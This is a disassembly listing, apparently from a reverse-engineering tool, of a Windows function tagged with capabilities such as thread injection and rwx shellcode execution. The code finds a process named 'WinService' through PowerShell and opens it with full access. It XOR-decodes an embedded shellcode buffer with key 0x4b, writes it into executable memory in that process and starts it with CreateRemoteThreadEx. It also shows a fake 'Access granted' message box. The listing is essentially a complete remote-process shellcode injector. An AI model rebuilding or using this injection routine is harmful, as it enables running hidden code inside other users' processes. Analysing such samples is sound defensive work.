Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
mov eax, 0x1330
call fcn.140002a20
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.powershell__Command_Get_Process_____.Name__eq_WinService__Select_Object__ExpandProperty_Id
mov qword [rbp + 0x12a0], rax
mov r9d, 0x40
lea r8, str.COMPLETED:_Access_granted
lea rax, str.SUCCESS
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov dword [rbp + 0x1240], 0x18
mov dword [rbp + 0x1250], 1
mov qword [rbp + 0x1248], 0
lea rcx, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea rax, [rbp + 0x1268]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x140001565
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreatePipe_failed___d_._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400019b2
lea rax, [rbp + 0x11d0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x11d0], 0x68
lea rax, [rbp + 0x11b0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x1260]
mov qword [rbp + 0x1228], rax
mov eax, dword [rbp + 0x120c]
or ah, 1
mov dword [rbp + 0x120c], eax
mov rax, qword [rbp + 0x12a0]
lea rdx, [rbp + 0x11b0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x11d0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x140001646
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed___d_._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400019b2
mov rax, qword [rbp + 0x1260]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1268]
lea rcx, [rbp + 0x1ac]
lea rdx, [rbp + 0x1b0]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
jne 0x1400016b4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.ReadFile_failed___d_._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400019b2
mov rax, qword [rbp + 0x1268]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x1ac]
mov eax, eax
mov byte [rbp + rax + 0x1b0], 0
mov rax, qword [rbp + 0x11b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x11b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov qword [rbp + 0x1298], 0
mov dword [rbp + 0x1294], 0
mov dword [rbp + 0x1a8], 0
mov qword [rbp + 0x1288], 0
mov qword [rbp + 0x1280], 0
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x1294], eax
mov eax, dword [rbp + 0x1294]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1288], rax
cmp qword [rbp + 0x1288], 0
jne 0x140001798
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.failed_to_get_process_handle__error:_0x_1x
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400019b2
lea rax, [rbp - 0x30]
lea rdx, [0x14000a1e0]
mov ecx, 0x39
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov byte [rbp + 0x127f], 0x4b
mov dword [rbp + 0x12ac], 0
jmp 0x140001804
mov eax, dword [rbp + 0x12ac]
cdqe
movzx eax, byte [rbp + rax - 0x30]
xor al, byte [rbp + 0x127f]
mov edx, eax
mov eax, dword [rbp + 0x12ac]
cdqe
mov byte [rbp + rax - 0x30], dl
add dword [rbp + 0x12ac], 1
mov eax, dword [rbp + 0x12ac]
cmp eax, 0x1cb
jbe 0x1400017dc
mov qword [rbp + 0x1270], 0x1ce
mov rdx, qword [rbp + 0x1270]
mov rax, qword [rbp + 0x1288]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x1298], rax
cmp qword [rbp + 0x1298], 0
jne 0x14000188e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [section..data]
mov r8d, edx
mov rdx, rax
lea rax, str._s_failed_to_get_allocate_buffer__error:_0x_1x
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400019b2
mov r8, qword [rbp + 0x1270]
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0x1298]
mov rax, qword [rbp + 0x1288]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [section..data]
mov rdx, rax
lea rax, str._s_wrote_shellcode_to_the_buffer_n
mov rcx, rax
call sym.printf
mov rcx, qword [rbp + 0x1298]
mov rax, qword [rbp + 0x1288]
lea rdx, [rbp + 0x1a8]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [rbp + 0x1280], rax
cmp qword [rbp + 0x1280], 0
jne 0x140001963
lea rax, str.Failed_to_get_handle
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1288]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x1400019b2
mov rax, qword [section..data]
mov rdx, rax
lea rax, str._s_waiting_for_thread_to_finish_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1280]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [section..data]
mov rdx, rax
lea rax, str._s_thread_finished_executing_n
mov rcx, rax
call sym.printf
mov eax, 0
add rsp, 0x1330
pop rsi
pop rdi
pop rbp
ret